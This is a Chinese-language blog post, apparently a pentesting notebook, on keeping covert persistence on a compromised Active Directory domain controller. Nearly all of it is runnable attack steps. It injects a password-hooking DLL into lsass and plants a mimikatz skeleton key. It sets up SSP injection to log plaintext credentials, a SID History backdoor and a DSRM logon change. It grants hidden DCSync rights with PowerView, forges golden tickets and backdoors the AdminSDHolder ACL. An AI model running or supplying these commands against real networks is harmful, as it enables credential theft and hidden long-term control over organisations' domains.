域控权限维持

作者: const27 分类: All,内网 发布时间: 2020-09-28 06:19

refer;https://blog.csdn.net/qq_36119192/article/details/107524325

Hook PasswordChangeNotify

原理:当用户修改密码时会输入明文密码,LSA会调用PasswordChangeNotify 在系统中同步密码。我们HOOK这个函数,改变其行为,就能达到获取用户修改后的密码的明文.

Tool: Powersploit下的Invoke-ReflectivePEInjection.ps1
https://github.com/PowerShellMafia/PowerSploit
以及 https://github.com/clymb3r/Misc-Windows-Hacking 的HookPasswordChange.dll(需自行编译)

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

执行如上命令,只要修改了用户的密码,修改后的明文密码就会记录在 C:\Windows\Temp\passwords.txt 文件中。

万能密码

运用mimkatz可以在域控机上对所有用户添加一个统一密码用来登录.

mimikatz# privilege::debug
mimikatz# misc::skeleton

然后所有用户都能用密码 mimiaktz登陆了

SSP注入

ssp:一个DLL文件,用来实现Windows身份验证功能,比如kerberos,ntlm。系统启动时SSP会被自动加载入lsass.exe
sspi:SSP的API接口

如果我们自定义个恶意dll文件让他在系统启动时自动加载到lsass.exe,就能得到进程中的明文密码

临时性注入(重启便失效)

mimikatz# privilege::debug
mimiaktz# misc::memssp

执行如上命令, 然后只要目标机器不重启,在目标机器上登录的用户名和密码将会被记录在 C:\Windows\System32\mimilsa.log 文件中。

长期性注入(重启不失效)

把 mimikatz中的mimilib.dll放到系统的C:\Windows\System32\ 目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果。

修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,加载新的DLL文件

用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log

SID History后门

sid history:当我们把域A的用户x迁移到域B时,B域中x的sid会发生改变,随即而来的是权限也会发生改变。所以为了避免这种权限改变,sid history诞生了, 系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源 。

在域控上

privilege::debug
sid::patch
sid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性

然后可以在域控上验证其sid history是否更改成功

Import-Module activedirectory
Get-ADUser const27 -Properties sidhistory

可以发现现在是有SIDHistory属性了。而且末尾的500预示着ADMIN权限
然后const27用户列出一下域控c盘。

成功了

DSRM后门

DSRM账号:每个域控上都有一个本地管理员账户也就是DSRM账户,用于在域环境出现故障时本地登录进行修复.可以利用这个账户进行持久化操作。( 如果域控制器的系统版本为Windows Server 2003,则不能使用该方法进行持久化操作。 )

我们先设置DSRM密码
域控上输入ntdsutil
然后输入reset password on server null
然后键入密码,最后按q退出即可

在mimikatz中dump本地hash可以看到多出来个Administrator

然后设置DSRM登陆方式
DSRM登陆方式有三种分别对应123.

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

我们需要将他改成2才行。powershell执行

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

即可.然后直接psexec登录(这里用的是cs)

注意填Realm时要填上面dump出sam时的域名(这里是DC)

委派后门

这个很简单,利用约束性委派或者基于资源的约束性委派攻击得到的ST2保存起来,或者非约束性委派得到的TGT,要用的时候加载进内存就行了
详情见http://www.const27.com/2020/10/12/%e5%9f%9f%e5%a7%94%e6%b4%be%e6%94%bb%e5%87%bb/

DCSYNC

这个东西 可以实现不登录到域控而获取域控上的数据
获得以下权限就可以使用了

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

然后在mimikatz里
privilege::debug
lsadump::dcsync /user:xxxx /domain:xxxxx /csv 即可

This image has an empty alt attribute; its file name is image-45.png

然后我们就可以通过krbtgt hash制作黄金票据登录administrator。
如果还想隐蔽一点,可以给普通用户添加如下ACE,使其获得dcsync权限

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

可以以管理员权限运行powerview.ps1完成以上操作

#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
 
#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

然后普通用户也可以用mimikatz调用dcsync导出hash了

黄金票据生成

#提权
privilege::debug
 
#生成黄金票据并导入
kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt

AdminSDHolder

AdminSDHolder是一个特殊容器,用作受保护用户或组的ACM模板。AD定期把 AdminSDHolder对象的ACL 应用到所有受保护用户或组上,防止其被有意或故意修改。 如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法 。

如何寻找受保护用户或组:

受保护用户或组的 AdminCount属性为1 。 但是,如果对象已移出受保护组,其AdminCount属性仍为1,也就是说,有可能获得曾经是受保护组的帐户和组 。

使用powerview.ps1Get-NetUser -AdminCount即可获得受保护用户
Get-NetGroup -AdminCount即可获得受保护组

如何修改ADMINSDHOLDER的ACL

域管执行以下命令(powerview.ps1)

Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权

然后默认等60分钟,待ADMINSDHOLDER生效后,xx就获得所有受保护对象的完全控制权了

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云